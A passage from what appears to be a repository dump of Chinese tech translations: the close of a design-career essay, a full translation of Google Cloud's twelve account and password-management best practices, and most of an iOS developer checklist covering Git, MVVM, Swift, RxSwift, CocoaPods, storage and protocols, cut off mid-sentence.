**职业建议**\n\n我很喜欢与其他设计师谈论你第一次把自己的设计放在别人面前，看着他探索、体验和（希望是）享受的时刻。\n\n在那一刻，即使是在那个人真正被设计吸引之前，你总是能看到一些你之前不曾注意的东西。就像是老话说的那样“鳞片从你的眼中掉下来了（译者注：指恍然大悟）”。你突然发现了在你的理解、计划和直觉之外的那么多东西。\n\n那些时刻是非常珍贵的，这对于所有的设计师来说都是一样的，不论他有多高的成就。\n\n相比来说，设计本身似乎变得不那么珍贵了，所以在项目中尽可能创造这种时刻。你不需要为此获得许可。\n\n在 [frog](http://www.frogdesign.com/) 工作了13年，我有幸在许多不同的团队中经历了一次又一次那样的情形。\n\n设计的质量总是，也只能由设计所产生的反馈来衡量，通过这个设计如何吸引、支持用户并使他们感到高兴。\n\n[行为就是我们的媒体](http://www.ixda.org/resources/robert-fabricant-behavior-our-medium)，切记！\n\n"
  },
  {
    "path": "TODO/12-best-practices-for-user-account.md",
    "content": "> * 原文地址：[12 best practices for user account, authorization and password management](https://cloudplatform.googleblog.com/2018/01/12-best-practices-for-user-account.html)\n> * 原文作者：[Google Cloud Platform](https://cloudplatform.googleblog.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/12-best-practices-for-user-account.md](https://github.com/xitu/gold-miner/blob/master/TODO/12-best-practices-for-user-account.md)\n> * 译者：[Wangalan30](https://github.com/Wangalan30)\n> * 校对者：[ryouaki](https://github.com/ryouaki), [Potpot](https://github.com/Potpot)\n\n# 用户账户、授权和密码管理的 12 个最佳实践\n\n账户管理、授权和密码管理问题可以变得很棘手。对于很多开发者来说，账户管理仍是一个盲区,并没有得到足够的重视。而对于产品管理者和客户来说，由此产生的体验往往达不到预期的效果。\n\n幸运的是，[Google Cloud Platform](https://cloud.google.com/) (GCP) 上有几个工具，可以帮助你在围绕用户账户（在这里指那些在你的系统中认证的客户和内部用户）进行的创新、安全处理和授权方面做出好的决定。无论你是在 [Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine/) 上负责网站托管，还是 [Apigee](https://cloud.google.com/apigee-api-management/) 上的一个 API，亦或是 一个应用[Firebase](https://firebase.google.com/) 或其他拥有经过身份认证用户服务的 APP，这篇文章都会为你展示出最佳实践，来确保你拥有一个安全、可扩展、可使用的账户认证系统。\n\n## 对密码进行散列处理\n\n账户管理最重要的准则是安全地存储敏感的用户信息，包括他们的密码。你必须神圣地对待并恰当地处理这些数据。\n\n不要在任何情况下存储明文密码。相反，你的服务应该存储经过散列处理之后的、不可逆转的密码 —— 比如，可以用 PBKDF2、SHA3、Scrypt 或 Bcrypt 等这些散列算法。同时，散列时还要进行 [加盐](https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet#Use_a_cryptographically_strong_credential-specific_salt) 处理，同时，盐值也不能和登陆用的验证信息相同。不要用已经弃用的哈希技术比如 MDS 和 SHA1，并且，任何情况下都不要使用可逆加密方式或者 [试着发明自己的哈希算法](https://www.schneier.com/blog/archives/2011/04/schneiers_law.html)。\n\n在设计系统时，应该假设你的系统会受到攻击，并以此为前提设计系统。设计系统时要考虑“如果我的数据库今天受损，用户在我或者其他服务上的安全和保障会有危险吗？我们怎样做才能减小事件中的潜在损失。”\n\n另外一点：如果你能够根据用户提供的密码生成明文密码，那么你的系统就是有问题的。\n\n## 如果可以的话，允许第三方提供身份验证\n\n使用第三方提供身份验证，你就可以依赖一个可靠的外部服务来对用户的身份进行验证。Google、Facebook 和 Twitter 都是常用的身份验证提供者。\n\n你可以使用 [Firebase Auth](https://firebase.google.com/docs/auth/) 这样的平台在已有的身份验证体系的基础上再添加额外的身份验证方式。使用 Firebase Auth 有许多好处，比如更简单的管理、更小的受攻击面和一个多平台的 SDK。通过这个清单我们可以接触更多的益处。查看我们专为企业设计的 [案例](https://firebase.google.com/docs/auth/case-studies/)，可以让你在一日之内集成 Firebase Auth。\n\n## 区分用户身份和用户账户的概念\n\n你的用户并不是一个邮件地址，也不是一个电话号码，更不是由一个 OAUTH 回复提供的特有 ID。他们是你的服务中，所有与之相关的独特、个性化的数据和经验呈现的最终结果。一个设计优良的用户管理系统在不同用户的个人简介之间低耦合且高内聚。\n\n在概念上将用户账户和证书区分开可以极大地简化使用第三方身份验证的过程，允许用户修改自己的用户名，并关联多个身份到单一用户账户上。在实用阶段，这样可以使我们对每个用户都有一个内部的全局标识符，并通过这个 ID 将他们的个人简介与身份验证相关联，而不是将它全部堆放在一条记录里。\n\n## 允许单一用户账户关联多重身份\n\n一个每星期用 [用户名和密码](https://firebase.google.com/docs/auth/web/password-auth) 在你的服务上认证的用户，往往会选择下次登录使用 [Google 登录](https://firebase.google.com/docs/auth/web/google-signin)，但是他们可能没意识到这样会创建重复的账户。同样的，一个用户可能将多个邮件地址连接到你的服务上。如果你能够正确地将用户的身份和认证区分开，那么 [关联多个身份](https://firebase.google.com/docs/auth/web/account-linking) 到一个单一用户上将是一件十分简单的事情。\n\n你的系统需要考虑这样一种情况：当用户已经进行了一部分或者已经完成了整个注册过程之后，他们才意识到，他们正在使用一个与他们已有的账户完全无关的新的第三方身份。要解决这个问题可以简单地要求客户提供一份普通的身份细节，比如邮件地址、电话或用户名等。如果这份数据与系统中已有的用户相匹配，则需要他们使用已知的身份认证，并将新的 ID 关联到他们已有的账户上。\n\n## 不要限制较长或者复杂的密码\n\nNIST 最近在 [密码的复杂度和强度](https://pages.nist.gov/800-63-3/sp800-63b.html#appendix-astrength-of-memorized-secrets) 上更新了指南。既然你正在（或者很快就要）使用一个强加密的哈希值来进行密码存储，那么大部分的问题已经解决了。无论输入内容的长短，哈希值总会生成一个固定长度的输出值，所以你的用户应该根据自己喜好的长度设置自己的用户密码。如果你必须限制密码的长度，请按照你的服务器所允许的 POST 的最大值来设置。实际来说。这通常超过1M。\n\n你的哈希密码将包含一小部分已知的 ASCII 码。如果不是，你可以轻易地将一个二进制的哈希值转成 [Base64](https://en.wikipedia.org/wiki/Base64)。考虑到这一点，你应该允许你的用户在设置密码时自由地使用任何他们想要的字符。如果有人想要一个由 [Klingon](https://en.wikipedia.org/wiki/Klingon_alphabets)、[Emoji](https://en.wikipedia.org/wiki/Emoji#Unicode_blocks) 以及两端带有空格的控制字符组成的密码，你不能因任何技术实现上的理由而拒绝他们。\n\n## 不要对用户名强加不合理的规则\n\n如果一个网站或服务要求用户名长度必须大于两个或三个字 符、限制隐藏字符或不允许用户名的两端带有空格，这都不属于不合理的范畴。然而，有些网站的要求未免有些极端，比如，最小长度为八个字符或不允许使用任何大于 7bit 的 ASCII 字母和数字。\n\n一个对用户名要求严格的站点会给开发者提供一些捷径，但这却是以用户的损失为代价的，同时，一些极端的情况也会带走一定数量的用户。\n\n有些情况需要我们分配用户名。如果你的服务属于这些情况，要确保用户名能够使用户在回想或交流时感觉到足够友好。由字母和数字组成的 ID 应该尽量避免会在视觉上会产生歧义的符号，比如“Il1O0”。同时，我们建议你对所有随机生成的字符串进行字典扫描，以确保没有嵌入用户名中的意外信息。这些相同的准则适用于自动生成的密码。\n\n## 允许用户修改用户名\n\n令人普遍感到惊讶的是，原有系统或是其他提供邮箱账户的平台都不允许用户修改他们的用户名。我们有很多 [正当理由](https://www.computerworld.com/article/2838283/facebook-yahoo-prevent-use-of-recycled-email-addresses-to-hijack-accounts.html) 不允许重用已经自动回收的用户名，但是如果你的长期用户突然想要换个新的用户名，最好能不用另外新建一个账户。\n\n你可以允许使用别名，并让你的用户选择一个首要的别名，以此来满足他们想要修改自己用户名的要求。你可以在此功能之上应用任何你需要的商务规则。有些系统可能会允许用户一年修改一次用户名或者只显示用户的别名。电子邮件服务提供商应该可以确保用户在将旧用户名与他们的账户分离开，或是完全禁止断开旧用户名之前，已经充分的了解了其中的风险。\n\n为你的平台选择正确的规则，但是要确保他们允许你的用户随着时间增长和变化。\n\n## 让你的用户删掉他们的账户\n\n没有提供自助服务的服务系统数量惊人，这对一个用户来说就意味着删掉他们的账户和相关数据。对一个用户来说，永久地关掉一个账户并删掉所有的个人数据有很多的好理由。这些需求点需要与你的安全性和顺从性需求相平衡，但大多数受监管的环境都会提供有关数据存储的相关指导。为避免顺从性以及黑客的关注，一个较普遍的做法是让用户安排他们的账户，以便未来自动删除。\n\n在某些情况下，你可能会 [被合法地要求遵照](http://ec.europa.eu/justice/data-protection/files/factsheets/factsheet_data_protection_en.pdf) 用户的需求及时的删掉他们的数据。同样，当“已关闭”账户的数据泄漏时，你也会极大的增加你的曝光率。\n\n## 在对话长度上做出理智的选择\n\n安全和认证中一个经常被忽视的方面是 [会话长度](https://firebase.google.com/docs/auth/web/auth-state-persistence)。Google 在 [确保用户是他们所说的人](https://support.google.com/accounts/answer/7162782?co=GENIE.Platform%3DAndroid&hl=en) 方面做了很多努力，并将基于某些事件或行为进行二次确认。用户可以采取措施 [进一步提高自己的安全度](https://support.google.com/accounts/answer/7519408?hl=en&ref_topic=7189123)。\n\n你的服务可能有充分的理由为非关键的分析目的保持一段会话无限期开放，但是这应该有 [门槛](https://pages.nist.gov/800-63-3/sp800-63b.html#aal1reauth)，要求输入密码，第二因素或其他用户验证。\n\n考虑一个用户在重新认证之前需要保持多长时间的非活跃状态。如果某人想要执行密码重置，需要在所有活跃会话中验证用户身份。如果一个用户想要更改他们个人信息的核心内容，或者当他们在执行一次敏感的行为时，提示进行身份验证或第二因素。要考虑不允许同时在不同设备或地址登录是否有意义。\n\n当你的服务终止用户会话或需要再次验证时，实时提示用户或提供一种机制来保存自他们上次验证后还没来得及保存的全部活动。对用户来说，当他们填好一份很长的表格并在之后提交，却发现他们输入的所有信息全部丢失且他们必须再次登录，这是十分令人沮丧的。\n\n## 使用两步身份验证\n\n要考虑当用户选择 [两步验证](https://www.google.com/landing/2step/) (也称两因素验证或只是 2FA)方法而账户被盗后的实际影响。由于有许多缺陷，SMS 2FA 认证 [被 NIST 反对](https://pages.nist.gov/800-63-3/sp800-63b.html)，然而，它或许是你的用户考虑到这是一项微不足道的服务时会接受的最安全的选择了。请尽可能提供你能提供的最安全的 2FA 认证。支持第三方身份验证和在他们的 2FA 上面打包是个十分简单的方法，使你能够不花费太多力气就能提高你的安全度。\n\n## 用户 ID 不区分大小写\n\n你的用户不会关心或者甚至可能并不记得他们确切的用户名。用户名应该完全不区分大小写。与输入时将所有字符转换为小写相比，存储时将用户名和邮件地址全部保存为小写显得十分微不足道。\n\n智能手机的使用代表用户设备所占的比重不断增加。他们大多数提供纯文本字段的自动更正和首字母自动大写功能。\n\n## 建立一个安全认证系统\n\n如果你在使用一个像 Firebase Auth 一样的设备，大量的安全隐患都会自动帮你处理。然而，你的设备总是需要正确地设计以防滥用。核心的问题包括实现 [密码重置](https://firebase.google.com/docs/auth/web/manage-users#send_a_password_reset_email)而不是密码检索，详细账户活动日志，限制登录尝试率，多次登录尝试不成功后锁定账户以及需双因素识别已长时间限制的未知设备或账户。安全认证系统还有很多方面，所以请查看下方的链接获取更多信息。\n\n## 进一步阅读\n\n还有很多优秀的可用资源可以指导你的开发进程,更新或迁移你的账户和认证管理系统。我建议以下为出发点:\n\n- NIST 800-063B 包含认证和生命周期管理\n- OWASP 持续更新密码存储备忘单\n- OWASP 使用认证备忘单进行深入研究 \n- Google 的 Firebase 认证网站有丰富的指南库,参考资料和示例代码\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/14-must-knows-for-an-ios-developer.md",
    "content": "> * 原文地址：[14 must knows for an iOS developer](https://swiftsailing.net/14-must-knows-for-an-ios-developer-5ae502d7d87f#.5qoqojm6n)\n* 原文作者：[Norberto Gil Vasconcelos](https://swiftsailing.net/@nobizard)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Deepmissea](http://deepmissea.blue)\n* 校对者：[ldhlfzysys](http://www.jianshu.com/u/bff850e51395)，[ChenDongnan](https://github.com/ChenDongnan)\n\n# iOS 开发者一定要知道的 14 个知识点\n\n![](https://cdn-images-1.medium.com/max/2000/1*GlmHP6nltxqLBZA3Rv8AGg.jpeg)\n\n作为一个 iOS 开发者（现在对 Swift 中毒颇深 😍）。我从零开始创建应用、维护应用，并且在很多团队待过。在我的职业生涯中，一句话一直响彻耳边：“如果你不能解释一件事情，那你根本就不理解它。” 所以为了充分的理解我每天的日常，我创建了一个清单，在我看来，它适合任何 iOS 开发者。我会试着清晰的解释每一个观点。**[请随时纠正我，提出你的意见，或者干脆也来一发你觉得应该在列表上的“必须知道”的知识]**\n\n**Topics:** [**源码管控**|**架构**|**Objective-C vs Swift**|**响应式**|**依赖管理**|**信息存储**|**CollectionViews 和 TableViews**|**UI**|**协议**|**闭包**|**scheme**|**测试**|**定位**|**字符串本地化**]\n\n\n事不宜迟，没有特定的顺序，这就是我的清单。\n\n#### 1 — 源码管控\n\n恭喜你被雇佣了！现在从 repo 上拿代码开始干活吧，还等什么？\n\n每个项目都需要控制源码的版本，即使只有你一个开发者。最常见的就是 Git 和 SVN 了。\n\n**SVN** 依赖于一个集中的系统来进行版本管理。它是一个用来生成工作副本（working copies）的中央仓库，并且需要网络连接才能访问。 它的访问授权是基于路径的，追踪的是注册文件的改变，更改历史记录只能在中央仓库中完全可见。 工作副本只包含最新版本。\n\n*推荐的图形界面工具:*\n\n[**Versions - Mac Subversion Client (SVN)** *Versions, the first easy to use Mac OS X Subversion client* versionsapp.com](http://versionsapp.com)\n\n**Git** 依赖于一个分布式的系统来进行版本管理。你有一个本地的仓库来进行工作，只需要在同步代码的时候联网。它的访问授权是整个目录，追踪的是注册内容的改变，在工作副本和主仓库都可也看到完整的更改历史。\n\n*推荐的图形界面工具:*\n\n[**SourceTree | Free Git and Hg Client for Mac and Windows**\n*SourceTree is a free Mercurial and Git Client for Windows and Mac that provides a graphical interface for your Hg and…* www.sourcetreeapp.com](https://www.sourcetreeapp.com)\n\n#### 2 — 架构\n\n你的指尖因兴奋而颤抖，你想通了怎么控制源码！那先来杯咖啡压压惊？喝个P！现在的你正是巅峰状态，正是写代码的最佳时刻！不，还需要再等等，等什么？\n\n在你蹂躏你的键盘之前，你需要先为项目选择一个架构。因为项目还没开始，你需要让项目的结构符合你的选择的架构。\n\n有很多在移动应用开发中广泛使用的架构，MVC、MVP、MVVM、VIPER 等等。我会简短的概括这些之中 iOS 开发者最常用的：\n\n- **MVC** — 模型（**M**odel）、视图（**V**iew）、控制器（**C**ontroller）的缩写。控制器的作用是连接模型和视图，因为他们互不干涉。视图和控制器的联系非常紧密，因此，控制器最终几乎做了所有的工作。这意味着什么？简单来说，如果你创建了一个复杂的视图，你的控制器（ViewController）会疯狂的变大。有办法绕过这个，但是他们不符合 MVC 规则。另一个 MVC 不好的地方是测试。如果你做测试（这对你有好处！），你会发现只能测试模型，因为跟其他层相比，它是唯一能单独分离出来的层。MVC 的加分项是直观，而且大多数 iOS 开发者都用习惯了。\n\n![](https://cdn-images-1.medium.com/max/800/1*dLNPhFL6k2MFJBAm9g24UA.png)\n\n- **MVVM** — 模型（**M**odel）、视图（**V**iew）、视图模型（**V**iew**M**odel）的缩写。在视图和视图模型之间设置一种绑定（基本地响应式编程）的关系，这使得视图模型来调用模型层改变自身时，由于和视图之间的绑定关系而自动更新视图。视图模型并不知道视图的所有事情，这样利于测试，而且绑定节省了大量代码。\n\n![](https://cdn-images-1.medium.com/max/800/1*E1TC8beTXLlgVHO29wJTpA.png)\n\n对于其他架构更深入的说明和信息，我建议阅读这篇文章：\n\n[**iOS Architecture Patterns**\n*Demystifying MVC, MVP, MVVM and VIPER* medium.com](https://medium.com/ios-os-x-development/ios-architecture-patterns-ecba4c38de52)\n\n这一条看上去不是很重要，但是代码良好的结构性和组织性可以避免很多头疼的问题。每个开发者有时候都会犯一个大错，那就是为了得到想要的结果而放弃组织代码，他们以为这节省了时间。如果你不同意，引用自 Benji：\n\n> 组织代码所耗费的每一分钟，都相当于赚了一个小时。\n\n> — 本杰明·富兰克林\n\n我们的目标是让代码变得直观易读，这样你才能简单地建立并维护。\n\n#### 3 — Objective-C vs. Swift\n\n在决定选择哪种语言编写应用时，你需要知道不同的语言能带来什么。如果可以选择的话，我个人建议使用 Swift。为什么？实话说，Objective-C 相比于 Swift 是有微弱优势的，大多数的例子和教程都是用 Objective-C 写的，而且每次 Swift 语言更新的时候，都会对范式做调整，真是让人发愁。但从长远的角度来说，这些问题都会消失。\n\nSwift 真的在很多方面都领先一步。它读起来简单，类似于自然语言，而且因为它不是基于 C 构建的，使得它可以抛弃 C 语言中的语法惯例。对于知道 Objective-C 的人来说，它意味着没有分号，方法调用不需要括号，而且条件分支的表达式也不用括号。对代码的维护也更容易了，Swift 只有一个 .swift 文件，而不是 .h 和 .m 文件，因为 Xcode 和 LLVM 编译器可以找出依赖关系，并且自动地执行增量构建。总而言之，你不需要担心创建模板代码，而且你会发现用更少的代码可以得到相同的结果。\n\n不信？Swift 还更安全、更快而且还负责内存管理（大多数情况）。知道在 Objective-C 中用一个未初始化的指针变量调用一个方法会发生什么吗？什么也不会发生。表达式变成空操作（no-op），然后跳过了。听起来特棒，因为你不用担心这会导致应用崩溃了，尽管，它会导致一系列严重的 bug 和不稳定的行为，以致于你开始怀疑人生，决定重新考虑你的职业生涯。我非常确定你不想那样。不过当一个职业遛狗人的念头听起来还是有那么一点吸引人的。Swift 通过可选类型消除了这个问题。不仅你会精心思考什么会是 nil，并在某个位置设置条件来来阻止它的使用，Swift 也会在 nil 值被使用时，弹出运行时的崩溃，以便更好的调试。内存方面，简单的说，ARC（自动引用计数）在 Swift 上工作的更好。在 Objective-C 里，ARC 并不支持 C 语言的代码和 API，比如 Core Graphics。\n\n#### 4 — 响应式还是非响应式？\n\n![](https://cdn-images-1.medium.com/max/800/1*pXx4SEZ7TExz5uCi2soXhw.gif)\n\n函数响应式编程（**FRP**）看上去似乎很潮。它的意图是更简单的组合异步操作并以事件/数据流的方式驱动。对于 Swift来说，通过 `Observable<Element>` 接口来表示的通用计算抽象。（译者注：这里 `Observable<Element>` 并不是原生的，而是 RxSwift 的接口）\n\n最简单的例子还是写一点代码。让我们看看小 Timmy 和他的姐姐 Jenny，他们想要买一个新的游戏机。Timmy 每周从他父母那里得到 5€，Jenny 也一样。不过 Jenny 每周末还能通过发报纸赚到 5€。如果他们把每一分钱都存下来，我们就可以每周检查一下他们是否能得到游戏机。每当他们其中一人的存款变化时，就计算一次他们的存款总额。如果钱够了，一个消息就会被存储在变量 isConsoleAttainable 里。在任何时候，我们可以通过订阅它来检查消息。\n\n    // Savings\n    let timmySavings = Variable(5)\n    let jennySavings = Variable(10)\n\n    var isConsoleAttainable =\n    Observable\n    .combineLatest(timmy.asObservable(), jenny.asObservable()) { $0 + $1 }\n    .filter { $0 >= 300 }\n    .map { \"\\($0) is enough for the gaming console!\" }\n\n    // Week 2\n    timmySavings.value = 10\n    jennySavings.value = 20\n    isConsoleAttainable\n       .subscribe(onNext: { print($0) }) // Doesn't print anything\n\n    // Week 20\n    timmySavings.value = 100\n    jennySavings.value = 200\n    isConsoleAttainable\n       .subscribe(onNext: { print($0) }) // 300 is enough for the gaming console!\n\n\n我们做的这点东西对 FRP 来说都是皮毛，一旦你真的用起来了，它会为你打开新世界的大门，甚至允许你采用不同于传统 MVC 的架构，对，就是 MVVM ！\n\n你可以看看 Swift FRP 王座的两位主要竞争者：\n\n- **RxSwift**\n\n[**ReactiveX/RxSwift**\n*RxSwift - Reactive Programming in Swift* github.com](https://github.com/ReactiveX/RxSwift)\n\n- **ReactiveCocoa**\n\n[**ReactiveCocoa/ReactiveCocoa**\n*ReactiveCocoa - Streams of values over time* github.com](https://github.com/ReactiveCocoa/ReactiveCocoa)\n\n#### 5 — 依赖管理\n\nCocoaPods 和 Carthage 是 Swift 和 Objective-C Cocoa 项目里最常见的依赖管理工具。他们简化了库的实现，并且保持库的更新。\n\n**CocoaPods** 有大量的三方库支持，用 Ruby 构建，可以用下面的命令来安装：\n\n    $ sudo gem install cocoapods\n\n安装过后，你需要为项目创建一个 Podfile 文件，你可以运行下面这条命令：\n\n    $ pod init（译者注：原文是 pod install ，写错了。）\n\n或者按照这个结构自定义一个 Podfile 文件：\n\n    platform :ios, '8.0'\n    use_frameworks!\n    \n    target 'MyApp' do\n      pod 'AFNetworking', '~> 2.6'\n      pod 'ORStackView', '~> 3.0'\n      pod 'SwiftyJSON', '~> 2.3'\n    end\n\n一旦完成创建，那就是时候来安装你的新 pods 了\n\n    $ pod install\n\n现在，你可以打开项目里的 **.xcworkspace** 文件，别忘了引入你需要的依赖。\n\n**Carthage** 是一个去中心化的依赖管理工具，和 Cocoapods 相对立。缺点是使用者很难找到现有的使用 Carthage 的库。另一方面来说，它只需要很少的维护工作，而且避免了各种中心化产生的问题。\n\n你可以看看他们的 GitHub 来获取更多的关于安装和使用的信息：\n\n[**Carthage/Carthage**\n*Carthage - A simple, decentralized dependency manager for Cocoa* github.com](https://github.com/Carthage/Carthage)\n\n#### 6 — 信息存储\n\n如果想用简单的方式为你的应用存储数据，那么 **NSUserDefaults** 就是这种方式，因为它通常保存的是用户的默认数据，在应用首次加载的时候就被放入了。出于这个原因，它就变得简单易用，尽管这也意味着一些限制。其中一条限制就是它接受对象的类型。它的作用和 **Property List（Plist）** 非常像（其中也有同样的限制）。下面的六种类型能被存储到里面：\n\n- NSData\n- NSDate\n- NSNumber\n- NSDictionary\n- NSString\n- NSArray\n\n为了和 Swift 兼容，NSNumber 可以接受以下的类型：\n\n- UInt\n- Int\n- Float\n- Double\n- Bool\n\n对象可以以下列方式保存到 NSUserDefaults（要先创建一个常量，作为我们要保存的对象的键）：\n\n    let keyConstant = \"objectKey\"\n\n    let defaults = NSUserDefaults.standardsUserDefaults()\n    defaults.setObject(\"Object to save\", objectKey: keyConstant)\n\n想要从 NSUserDefaults 读取一个对象时，这样做：\n\n    if let name = defaults.stringForKey(keyConstant) {\n       print(name)\n    }\n\n为了获取特定类型的对象而不是 AnyObject（Swift 3 中的 Any），有几个便捷函数来读写 NSUserDefaults。\n\n**钥匙串**是一个可以保存密码、证书、私钥以及私有信息的密码管理系统。keychain 的设备加密有两个级别。第一级别是使用锁屏密码作为密钥，第二级别使用由设备生成的密钥，并存储在设备上。\n\n这意味着什么呢？意味着它不是很安全，尤其是你不使用锁屏密码的时候。同样，也有很多方式可以获取第二种密钥，毕竟它是存在设备上的。\n\n最好的解决方案还是使用你自己的加密。（不要把密钥存在设备上）\n\n**CoreData** 是一个苹果公司开发的框架，它的目的是让你的应用以面向对象的方式与数据库沟通。它简化了访问过程，减少了代码量而且去掉了需要测试的那部分代码。\n\n如果你的应用需要数据持久化，那么你就应该用它，它大大的简化了数据持久化的过程，这意味着你再也不用构建与数据库连接的这部分程序，以及这部分的测试代码。\n\n\n#### 7 — CollectionViews 和 TableViews\n\n每个应用都有或多或少的 CollectionView 或 TableView。了解他们的工作原理，什么时候用哪个，都会在未来防止你的应用发生复杂的更改。\n\n**TableViews** 以单列的方式，展示了一个列表，它只能垂直的滑动。列表的每项由 UITableViewCell 来表示，可以完全的自定义。这些项以 sections 和 rows 的方式来分类。\n\n**CollectionViews** 也展示了一个列表，不过他可以有多行多列（像网格）。它水平竖直都可以滑动，每个项通过 UICollectionViewCell 来表示。和 UITableViewCell 一样，也可以自定义，并按照 sections 和 rows 的方式来分类。\n\n他们有相似的功能，并都使用可复用 cell 来提高流畅性。选择哪个取决于你要写的列表的复杂程度。集合视图可以用于任何的列表，在我看来，始终是个不错的选择。现在假设你想做一个联系人列表。这太简单了，一列就可以搞定，所以你选择用 UITableView。伟大的作品！几个月以后，你们的设计师决定联系人还是以网格的形式来显示。那你就只能把 UITableView 的实现全部换成 UICollectionView 的。我想说的是，即使你的列表很简单，用 UITableView 足以搞定，如果有好灵感，设计也许会变，所以最好还是用 UICollectionView 来实现一个列表。\n\n不管你最后选择了哪个，最好写一个通用的 tableview/collectionview，它让你的实现更容易，并且可以重用很多代码。\n\n#### 8 — Storyboards vs. Xibs vs. 手撸 UI 代码\n\n他们每一种方式都可以在编写 UI 方面独挡一面，当然，也没有人不让你一起用。\n\n**Storyboards** 允许你为项目创建一个更宽泛的视图，设计师们很喜欢，因为他们可以看到应用的流程和所有的屏幕。坏处在于，随着屏幕的增加，他们之间的连接变得越来越混乱，storyboard 的加载时间也会增加。合并代码的冲突也会频繁的发生，因为所有的 UI 都写在了一个文件上。而且这些冲突还很难解决。\n\n**Xibs** 提供了一个屏幕或者部分屏幕的视图。他们的好处是易于复用，合并代码的冲突比用 storyboard 要少，而且也可以简单的看到每个屏幕上有什么。\n\n**手撸 UI 代码** 让你在最大程度上控制你的代码，并减少合并冲突，如果冲突发生，也可以很容易的解决。缺点就是没法看到具体的内容，还要花额外的时间去撸 UI。\n\n有多种不同的方式来实现你应用的 UI 部分。但我还是主观的认为，最好的方式就是三种混合使用。使用多个 Storyboards（现在 storyboards 之间可以连接），然后用 Xibs 来展现那些非主屏幕上的内容，最后，在确定的情况下用代码做额外的控制。\n\n\n#### 9 — 协议！\n\n协议存在于我们的日常生活中，它可以来确定在给定的环境下，我们知道如何反应。假如你是一个消防员，现在有紧急情况。\n每个消防队员都必须遵守协议，按照既定要求，才能成功的应对。这同样适用于一个 Swift/Objective-C 协议。\n\n一个协议是按照给定的功能，定了了方法、属性和其他需要的约定。它可以被类、结构体或枚举采用，然后由他们提供这些功能具体的实现。\n\n这里有一个怎么创建并使用协议的例子：\n\n在例子中，我会使用一个枚举，来列出不同的灭火材料。\n\n    enum ExtinguisherType: String {\n\n       case water, foam, sand\n\n    }\n\n接着，我要创建一个能应对紧急情况的协议。\n\n    protocol RespondEmergencyProtocol {\n\n       func putOutFire(with material: ExtinguisherType)\n\n    }\n\n现在我要创建一个消防员来实现协议。\n\n    class Fireman: RespondEmergencyProtocol {\n\n        func putOutFire(with material: ExtinguisherType) {\n\n           print(\"Fire was put out using \\(material.rawValue).\")\n\n        }\n\n    }\n\n干的漂亮！现在让消防员行动起来。\n\n    var fireman: Fireman = Fireman()\n\n    fireman.putOutFire(with: .foam)\n\n结果应该是 *“Fire was put out using foam.”*\n\n协议也被用于**委托**。它允许类或结构体将功能委托给另一个类型的实例。创建具有委托职责的协议，以保证符合类型的实例为他们提供具体的功能。\n\n快速示例！\n\n    protocol FireStationDelegate {\n       func handleEmergency()\n    }\n\n消防站将处理紧急情况的行动委托给消防员。\n\n    class FireStation {\n       var delegate: FireStationDelegate?\n\n       fun emergencyCallReceived() {\n          delegate?.handleEmergency()\n       }\n    }\n\n这就意味着消防员也要实现 FireStationDelegate 协议。\n\n    class Fireman: RespondEmergencyProtocol, FireStationDelegate {\n\n       func putOutFire(with material: ExtinguisherType) {\n          print(\"Fire was put out using \\(material.rawValue).\")\n       }\n\n       func handleEmergency() {\n          putOutFire(with: .water)\n       }\n\n    }\n\n需要做的就是把待命的消防员设为消防站的代理，他会处理那些接到的火警电话。\n\n    let firestation: FireStation = FireStation()\n    firestation.delegate = fireman\n    firestation.emergencyCallReceived()\n\n结果应该是 *“Fire was put out using water.”*\n\n可以看到，协议非常有用。用他们还可以做很多很多的事情，但现在我只介绍到这里。\n\n#### 10 — 闭包\n\n这里我只说 Swift 里的闭包。他们多数的用途是，作为一个函数完成的回调或者是高阶函数。函数回调，顾名思义，就是一个任务完成，执行这段回调代码。\n\n> Swift 里的闭包类似于 C 和 Objective-C 中的 block。\n\n> 闭包是第一类对象，所以可以被嵌套和传递（像 Objective-C 里的 block）。\n\n> 在 Swift 里，函数是一种特殊的闭包。\n\n来源: [Swift Block Syntax](http://fuckingswiftblocksyntax.com)\n\n这是一个学习闭包语法很不错的地方。\n\n#### 11 — scheme\n\n简单的说，schemes 就是在各种配置间切换的简单方式。设想几种情况。Workspace 包含了各种的相关联的项目。项目可以多个 target（target指定了要构建的产品以及如何构建）。项目也可能有多种配置。Xcode scheme 定义了要构建的 target 集合、构建时使用的配置以及要执行测试的集合。\n\n![](https://cdn-images-1.medium.com/max/800/1*eW_7GjRt-gmV1XoBB2BhlA.png)\n\n#### 12 — 测试\n\n如果你分配时间为你的应用编写测试代码，那你正走向正轨。它不是万能的，不能避免每一个错误，也不能保证你的应用没有任何问题，但我还是觉得好处多于坏处。\n\n让我们从单元测试开始 **坏处:**\n\n- 开发时间增加；\n- 代码量增加。\n\n**好处:**\n\n- 强制的创建模块化代码 (这样才利于测试)；\n- 显然，更多的 bug 会在正式版本发布前被找到；\n- 更好维护。\n\n配合 **Instruments** 工具，你已经拥有了所有让你应用变得流畅的工具，无论从处理 bug 角度还是解决崩溃的角度。\n\n有不少的工具可以测试你的应用有什么问题。你可以根据你想要知道的，来选择其中的一个或者多个。最常用的，大概就是 Leak Checks(内存泄露检测)，Profile Timer(性能调优) 和 Memory Allocation(内存分配)了。\n\n#### 13 — 定位\n\n很多应用会有一些功能需要知道用户的位置。所以了解一下 iOS 上定位系统的基本知识是一个不错的点子。\n\n有个叫做 Core Location 的框架给了你需要的一切：\n\n> Core Location 